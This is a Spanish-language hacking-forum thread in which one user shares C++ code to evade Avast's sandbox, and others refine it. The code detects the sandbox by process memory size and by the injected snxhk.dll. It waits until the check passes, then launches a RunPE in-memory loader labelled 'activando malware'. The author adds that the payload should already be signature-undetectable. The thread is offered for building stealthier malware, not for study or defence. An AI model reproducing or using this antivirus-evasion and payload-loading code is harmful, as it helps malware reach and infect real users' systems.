• Bypass sandbox avast metodo simple

 #477608  por crack81
 09 Sep 2015, 06:58
Bueno viendo el mensaje quie publico joselin en este link [ Debe registrarse para ver este enlace ]
vi que es una forma de poder saltar el sandbox, el trunco es muy sencillo consiste en escaner el proceso actual de nuestro stub o archivo que ejecutar el runpe y comprobar que no ese dentro del sandbox y como sabemos eso? bueno teoricamente avast al escanear los archivos en el sanbox reserva memoria dentro del proceso actual lo cual si el proceso de trabajo comunmente pesa 170000 suele llegar hasta los 250000 o 30000 por tanto tan facil hacer una funcion que nos de el tamaño del proceso actual y meterlo en bucle y con un if estar chekeando en este caso si es menor a 1850000, si lo es, ejecuta el runpe sino se matiene a la espera hasta que el sanbox te de luz verde.

Bueno no nada del otro mundo seguro muchos tienes trucos o formas mas finas de saltarse el sandbox pero para los nuevos como yo es facil y entedible, ojo no se olviden que su archivo no debe detectar mediante firmas o sea deber ser indetectable ante un escaneo simple ya que este truco solo sive para el sandbox.
unsigned long obtentenerTamanoProceso(){
  PROCESS_MEMORY_COUNTERS pmc;

  GetProcessMemoryInfo(GetCurrentProcess(),&pmc,sizeof(pmc));
  return pmc.WorkingSetSize;
}


int main()
{

   wchar_t  szFilePath[256];
   GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
   string Buffer=ReadFileWs("C:\\bcb6kg.EXE");//archivo a leer


    unsigned long var;
    while(true){//inicia bucle hata que se desactive el sandbox
        if((var=obtentenerTamanoProceso())<=1850000){//obtiene el tamaño del proceso actual y comprueba que sea menor a 1850000
          cout<<"activando malware "<<var<<endl;
          callRunPE(&Buffer[0],szFilePath);//ejecutando en memoria
          break;
        }
        else{//todavia esta dentro del sandbox y no puede ejecutar el runpe
            cout<<"Esta dentro del sandbox "<<var<<endl;
        }
        Sleep(1000);//el sleep es para no saturar el sistema

    }

    cin.get();
    return 0;
}
Saludos...
 #477609  por crack81
 09 Sep 2015, 07:41
Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
 #477618  por Ninfrock
 09 Sep 2015, 11:51
crack81 escribió:Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
Podrias haberlo hecho con bucle igual

Buen code
 #477634  por Blau
 09 Sep 2015, 19:35
crack81 escribió:Les dejo tambien esta funcion ultra ripeada en vb6 pero ahora en c++ para comprobar si esta injectada la dll que activa el sandbox
si estamos dentro del sandbox manda true si no hace lo contrario
bool isSandboxActive(){
   HMODULE dllInjectada=NULL;
   dllInjectada=GetModuleHandle((char*)"snxhk.dll");

   if(dllInjectada==NULL) return false;
   else return true;
}
return (dllInjectada==NULL);
 #477637  por Pink
 09 Sep 2015, 20:17
@Blau es mejor con != return (dllInjectada!=NULL);

@Crack81
Para que la conversion (char*)?

Puedes hacerlo sin char *.

O así:
bool isSandboxActive(){
return GetModuleHandle("snxhk.dll");
}
Saludos
 #477642  por Pink
 09 Sep 2015, 21:10
El de Blau estaría mal porque te retornaría true si es modulo no esta cargado. por eso debe intercambiar con != o solo con ! en el retorno.

Saludos
 #477644  por Blau
 09 Sep 2015, 22:17
Pink escribió:El de Blau estaría mal porque te retornaría true si es modulo no esta cargado. por eso debe intercambiar con != o solo con ! en el retorno.

Saludos
Cierto, qué malo es escribir recién levantado